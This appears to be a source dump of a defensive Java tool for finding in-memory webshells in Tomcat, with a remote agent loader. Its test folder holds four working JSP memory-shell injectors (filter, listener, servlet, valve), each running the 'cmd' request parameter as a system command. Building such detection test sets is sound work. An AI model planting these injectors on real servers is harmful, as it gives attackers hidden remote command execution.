https://raw.githubusercontent.com/4ra1n/shell-analyzer/9f00400ca9635f7e189f5b9da23e713b9ebb4a35/img/0007.png
--------------------------------------------------------------------------------
/memshell/README.md:
--------------------------------------------------------------------------------
1 | ## 测试用内存马
2 |
3 | 这里的 JSP 文件来自其他师傅的 Github 或文章,这里用于测试
4 |
5 | 注意:
6 | - servlet.jsp 需要执行两次才可以成功注入
7 | - 测试环境为 Java 8 / Tomcat 9
--------------------------------------------------------------------------------
/memshell/filter.jsp:
--------------------------------------------------------------------------------
1 | <%@ page language="java" contentType="text/html; charset=UTF-8"
2 | pageEncoding="UTF-8"%>
3 | <%@ page import="java.io.IOException"%>
4 | <%@ page import="javax.servlet.DispatcherType"%>
5 | <%@ page import="javax.servlet.Filter"%>
6 | <%@ page import="javax.servlet.FilterChain"%>
7 | <%@ page import="javax.servlet.FilterConfig"%>
8 | <%@ page import="javax.servlet.FilterRegistration"%>
9 | <%@ page import="javax.servlet.ServletContext"%>
10 | <%@ page import="javax.servlet.ServletException"%>
11 | <%@ page import="javax.servlet.ServletRequest"%>
12 | <%@ page import="javax.servlet.ServletResponse"%>
13 | <%@ page import="javax.servlet.annotation.WebServlet"%>
14 | <%@ page import="javax.servlet.http.HttpServlet"%>
15 | <%@ page import="javax.servlet.http.HttpServletRequest"%>
16 | <%@ page import="javax.servlet.http.HttpServletResponse"%>
17 | <%@ page import="org.apache.catalina.core.ApplicationContext"%>
18 | <%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%>
19 | <%@ page import="org.apache.catalina.core.StandardContext"%>
20 | <%@ page import="org.apache.tomcat.util.descriptor.web.*"%>
21 | <%@ page import="org.apache.catalina.Context"%>
22 | <%@ page import="java.lang.reflect.*"%>
23 | <%@ page import="java.util.EnumSet"%>
24 | <%@ page import="java.util.Map"%>
25 |
26 |
27 |
28 |
29 |
30 |
31 | Insert title here
32 |
33 |
34 | <%
35 | final String name = "n1ntyfilter";
36 |
37 | ServletContext ctx = request.getSession().getServletContext();
38 | Field f = ctx.getClass().getDeclaredField("context");
39 | f.setAccessible(true);
40 | ApplicationContext appCtx = (ApplicationContext)f.get(ctx);
41 |
42 | f = appCtx.getClass().getDeclaredField("context");
43 | f.setAccessible(true);
44 | StandardContext standardCtx = (StandardContext)f.get(appCtx);
45 |
46 |
47 | f = standardCtx.getClass().getDeclaredField("filterConfigs");
48 | f.setAccessible(true);
49 | Map filterConfigs = (Map)f.get(standardCtx);
50 |
51 | if (filterConfigs.get(name) == null) {
52 | out.println("inject "+ name);
53 |
54 | Filter filter = new Filter() {
55 | @Override
56 | public void init(FilterConfig arg0) throws ServletException {
57 | // TODO Auto-generated method stub
58 | }
59 |
60 | @Override
61 | public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
62 | throws IOException, ServletException {
63 | // TODO Auto-generated method stub
64 | HttpServletRequest req = (HttpServletRequest)arg0;
65 | if (req.getParameter("cmd") != null) {
66 | byte[] data = new byte[1024];
67 | Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();
68 | int len = p.getInputStream().read(data);
69 | p.destroy();
70 | arg1.getWriter().write(new String(data, 0, len));
71 | return;
72 | }
73 | arg2.doFilter(arg0, arg1);
74 | }
75 |
76 | @Override
77 | public void destroy() {
78 | // TODO Auto-generated method stub
79 | }
80 | };
81 |
82 | FilterDef filterDef = new FilterDef();
83 | filterDef.setFilterName(name);
84 | filterDef.setFilterClass(filter.getClass().getName());
85 | filterDef.setFilter(filter);
86 |
87 | standardCtx.addFilterDef(filterDef);
88 |
89 | FilterMap m = new FilterMap();
90 | m.setFilterName(filterDef.getFilterName());
91 | m.setDispatcher(DispatcherType.REQUEST.name());
92 | m.addURLPattern("/*");
93 |
94 |
95 | standardCtx.addFilterMapBefore(m);
96 |
97 |
98 | Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
99 | constructor.setAccessible(true);
100 | FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);
101 |
102 |
103 | filterConfigs.put(name, filterConfig);
104 |
105 | out.println("injected");
106 | }
107 | %>
108 |
109 |
--------------------------------------------------------------------------------
/memshell/listener.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="org.apache.catalina.core.ApplicationContext" %>
2 | <%@ page import="org.apache.catalina.core.StandardContext" %>
3 | <%
4 | Object obj = request.getServletContext();
5 | java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");
6 | field.setAccessible(true);
7 | ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
8 | //获取ApplicationContext
9 | field = applicationContext.getClass().getDeclaredField("context");
10 | field.setAccessible(true);
11 | StandardContext standardContext = (StandardContext) field.get(applicationContext);
12 | //获取StandardContext
13 | ListenerDemo listenerdemo = new ListenerDemo();
14 | //创建能够执行命令的Listener
15 | standardContext.addApplicationEventListener(listenerdemo);
16 | %>
17 | <%!
18 | public class ListenerDemo implements ServletRequestListener {
19 | public void requestDestroyed(ServletRequestEvent sre) {
20 | System.out.println("requestDestroyed");
21 | }
22 | public void requestInitialized(ServletRequestEvent sre) {
23 | System.out.println("requestInitialized");
24 | try{
25 | String cmd = sre.getServletRequest().getParameter("cmd");
26 | Runtime.getRuntime().exec(cmd);
27 | }catch (Exception e ){
28 | //e.printStackTrace();
29 | }
30 | }
31 | }
32 | %>
--------------------------------------------------------------------------------
/memshell/servlet.jsp:
--------------------------------------------------------------------------------
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
2 | <%@ page import="javax.management.MBeanServer" %>
3 | <%@ page import="org.apache.tomcat.util.modeler.Registry" %>
4 | <%@ page import="java.lang.reflect.Field" %>
5 | <%@ page import="com.sun.jmx.mbeanserver.NamedObject" %>
6 | <%@ page import="java.util.Map" %>
7 | <%@ page import="java.util.HashMap" %>
8 | <%@ page import="org.apache.catalina.core.StandardContext" %>
9 | <%@ page import="java.lang.reflect.Method" %>
10 | <%@ page import="java.io.IOException" %>
11 | <%@ page import="org.apache.catalina.core.ApplicationContext" %>
12 | <%@ page import="java.lang.reflect.InvocationTargetException" %>
13 | <%@ page import="org.apache.catalina.core.StandardService" %>
14 | <%@ page import="org.apache.catalina.mapper.Mapper" %>
15 | <%@ page import="java.util.concurrent.ConcurrentHashMap" %>
16 | <%@ page import="org.apache.catalina.Wrapper" %>
17 | <%@ page import="org.apache.catalina.core.StandardWrapper" %>
18 | <%@ page import="org.apache.catalina.core.ContainerBase" %>
19 |
20 |
21 |
22 |
23 |
24 | servletContext
25 |
26 |
27 | <%
28 | class TomcatServlet extends HttpServlet {
29 | /**
30 | * webshell命令参数名
31 | */
32 |
33 |
34 | private final String cmdParamName = "cmd";
35 | @Override
36 | public void init() throws ServletException {
37 | }
38 |
39 | @Override
40 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
41 | String cmd;
42 | if ((cmd = req.getParameter(cmdParamName)) != null) {
43 | Process process = Runtime.getRuntime().exec(cmd);
44 | java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
45 | new java.io.InputStreamReader(process.getInputStream()));
46 | StringBuilder stringBuilder = new StringBuilder();
47 | String line;
48 | while ((line = bufferedReader.readLine()) != null) {
49 | stringBuilder.append(line + '\n');
50 | }
51 | resp.getOutputStream().write(stringBuilder.toString().getBytes());
52 | resp.getOutputStream().flush();
53 | resp.getOutputStream().close();
54 | return;
55 | }
56 | }
57 |
58 | @Override
59 | public void destroy() {
60 | super.destroy();
61 | }
62 |
63 | }
64 | %>
65 |
66 |
67 | <%
68 | class test666 {
69 |
70 | }
71 | %>
72 | <%
73 | try{
74 | //获取各字段
75 | java.lang.reflect.Field WRAP_SAME_OBJECT=Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
76 | Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
77 | java.lang.reflect.Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest");
78 | java.lang.reflect.Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse");
79 |
80 | //去掉final修饰符
81 | java.lang.reflect.Field modifiers = java.lang.reflect.Field.class.getDeclaredField("modifiers");
82 | modifiers.setAccessible(true);
83 | modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
84 | modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
85 | modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
86 |
87 | //设置允许访问
88 | WRAP_SAME_OBJECT.setAccessible(true);
89 | lastServicedRequest.setAccessible(true);
90 | lastServicedResponse.setAccessible(true);
91 |
92 | //如果是第一次请求,则修改各字段,否则获取cmd参数执行命令并返回结果
93 | if(!WRAP_SAME_OBJECT.getBoolean(null)){
94 | WRAP_SAME_OBJECT.setBoolean(null,true);
95 | lastServicedRequest.set(null,new ThreadLocal());
96 | lastServicedResponse.set(null,new ThreadLocal());
97 | out.println("WRAP_SAME_OBJECT change success!please try again for Inject Servlet");
98 | }else{
99 | ThreadLocal threadLocalRequest = (ThreadLocal) lastServicedRequest.get(null);
100 | javax.servlet.ServletRequest request1 = threadLocalRequest.get();
101 | try {
102 | //获取servletContext
103 | javax.servlet.ServletContext servletContext=request1.getServletContext();
104 |
105 | //获取applicationContext
106 | java.lang.reflect.Field contextField=servletContext.getClass().getDeclaredField("context");
107 | contextField.setAccessible(true);
108 | org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
109 | //获取standardContext
110 | contextField=applicationContext.getClass().getDeclaredField("context");
111 | contextField.setAccessible(true);
112 | org.apache.catalina.core.StandardContext standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
113 |
114 | Field serviceF = applicationContext.getClass().getDeclaredField("service");
115 | serviceF.setAccessible(true);
116 | StandardService service = (StandardService) serviceF.get(applicationContext);
117 | Mapper mapper = service.getMapper();
118 | Field contextObjectToContextVersionMapF = mapper.getClass().getDeclaredField("contextObjectToContextVersionMap");
119 | contextObjectToContextVersionMapF.setAccessible(true);
120 | ConcurrentHashMap contextObjectToContextVersionMap = (ConcurrentHashMap ) contextObjectToContextVersionMapF.get(mapper);
121 | Object contextVersion = contextObjectToContextVersionMap.get(standardContext);
122 | java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
123 | stateField.setAccessible(true);
124 | Wrapper wrapper = (Wrapper) standardContext.findChild("test");
125 | if(wrapper ==null) {
126 | TomcatServlet tomcatServlet=new TomcatServlet();
127 | StandardWrapper wrappershell = (StandardWrapper) standardContext.createWrapper();
128 | Field instanceF = wrappershell.getClass().getDeclaredField("instance");
129 | instanceF.setAccessible(true);
130 | instanceF.set(wrappershell,tomcatServlet);
131 | wrappershell.setServletClass("TomcatServlet");
132 | Field parent = ContainerBase.class.getDeclaredField("parent");
133 | parent.setAccessible(true);
134 | parent.set(wrappershell, standardContext);
135 | wrappershell.addMapping("/shell");
136 | Class[] classes = mapper.getClass().getDeclaredClasses();
137 | Class contextversionClass = classes[1];
138 | Method addWrapper = mapper.getClass().getDeclaredMethod("addWrapper", contextversionClass, String.class, Wrapper.class, boolean.class, boolean.class);
139 | addWrapper.setAccessible(true);
140 | addWrapper.invoke(mapper, contextVersion, "/shell", wrappershell, false, false);
141 | }
142 | }catch (Exception e){
143 | e.printStackTrace();
144 | }
145 | }
146 |
147 | }catch (Exception e){
148 | e.printStackTrace();
149 | }
150 | %>
151 |
152 |
--------------------------------------------------------------------------------
/memshell/valve.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.lang.reflect.Field" %>
2 | <%@ page import="org.apache.catalina.core.StandardContext" %>
3 | <%@ page import="org.apache.catalina.connector.Request" %>
4 | <%@ page import="org.apache.catalina.Pipeline" %>
5 | <%@ page import="org.apache.catalina.valves.ValveBase" %>
6 | <%@ page import="org.apache.catalina.connector.Response" %>
7 | <%@ page import="java.io.IOException" %>
8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
9 |
10 | <%
11 | Field reqF = request.getClass().getDeclaredField("request");
12 | reqF.setAccessible(true);
13 | Request req = (Request) reqF.get(request);
14 | StandardContext standardContext = (StandardContext) req.getContext();
15 |
16 | Pipeline pipeline = standardContext.getPipeline();
17 | %>
18 |
19 | <%!
20 | class Shell_Valve extends ValveBase {
21 |
22 | @Override
23 | public void invoke(Request request, Response response) throws IOException, ServletException {
24 | String cmd = request.getParameter("cmd");
25 | if (cmd !=null){
26 | try{
27 | Runtime.getRuntime().exec(cmd);
28 | }catch (IOException e){
29 | e.printStackTrace();
30 | }catch (NullPointerException n){
31 | n.printStackTrace();
32 | }
33 | }
34 | getNext().invoke(request, response);
35 | }
36 | }
37 | %>
38 |
39 | <%
40 | Shell_Valve shell_valve = new Shell_Valve();
41 | pipeline.addValve(shell_valve);
42 | %>
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | com.n1ar4
8 | shell-analyzer
9 | pom
10 | 0.1
11 |
12 |
13 | agent
14 | gui
15 | remote
16 |
17 |
18 |
19 | 8
20 | 8
21 | UTF-8
22 |
23 |
--------------------------------------------------------------------------------
/remote/README.md:
--------------------------------------------------------------------------------
1 | ## 远程连接
2 |
3 | (1) 查询 PID
4 |
5 | ./jdk1.8.0_202/bin/jps
6 |
7 | (2) 远程Attach Agent
8 |
9 | ./jdk1.8.0_202/bin/java -cp ./jdk1.8.0_202/lib/tools.jar:remote-1.0-SNAPSHOT.jar com.n1ar4.RemoteLoader ${PID}
10 |
11 | (3) 使用本工具连接
--------------------------------------------------------------------------------
/remote/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 | shell-analyzer
7 | com.n1ar4
8 | 0.1
9 |
10 | 4.0.0
11 |
12 | remote
13 |
14 |
15 | 8
16 | 8
17 | UTF-8
18 |
19 |
20 |
21 |
22 | tool
23 | tool
24 | 1.0.0
25 | system
26 | ${java.home}/../lib/tools.jar
27 |
28 |
29 |
30 |
31 |
32 |
33 | maven-assembly-plugin
34 |
35 | ../
36 | false
37 |
38 | jar-with-dependencies
39 |
40 |
41 |
42 | com.n1ar4.RemoteLoader
43 |
44 |
45 |
46 |
47 |
48 | make-assembly
49 | package
50 |
51 | single
52 |
53 |
54 |
55 |
56 |
57 | org.apache.maven.plugins
58 | maven-compiler-plugin
59 | 3.10.1
60 |
61 | ${maven.compiler.source}
62 | ${maven.compiler.target}
63 |
64 |
65 |
66 |
67 |
--------------------------------------------------------------------------------
/remote/src/main/java/com/n1ar4/RemoteLoader.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4;
2 |
3 | import com.sun.tools.attach.VirtualMachine;
4 |
5 | import javax.tools.JavaCompiler;
6 | import javax.tools.ToolProvider;
7 | import java.nio.file.Path;
8 | import java.nio.file.Paths;
9 |
10 | public class RemoteLoader {
11 | public static void main(String[] args) {
12 | checkJDK();
13 | if (args.length != 2) {
14 | System.out.println("usage: " +
15 | "\tjava -cp remote.jar:/jdk/lib/tools.jar com.n1ar4.RemoteLoader [PID] [TOKEN]");
16 | return;
17 | }
18 | String pid = args[0];
19 | String password =args[1];
20 | System.out.println("attach pid: "+pid);
21 | System.out.println("password: " + password);
22 | try {
23 | VirtualMachine vm = VirtualMachine.attach(pid);
24 | Path agentPath = Paths.get("agent.jar");
25 | String path = agentPath.toAbsolutePath().toString();
26 | vm.loadAgent(path,password);
27 | vm.detach();
28 | System.out.println("success");
29 | } catch (Exception ex) {
30 | ex.printStackTrace();
31 | }
32 | }
33 |
34 | public static void checkJDK() {
35 | JavaCompiler c = ToolProvider.getSystemJavaCompiler();
36 | if (c == null) {
37 | System.out.println("请使用JDK启动(目前是JRE)");
38 | System.exit(0);
39 | }
40 | }
41 | }
42 |
--------------------------------------------------------------------------------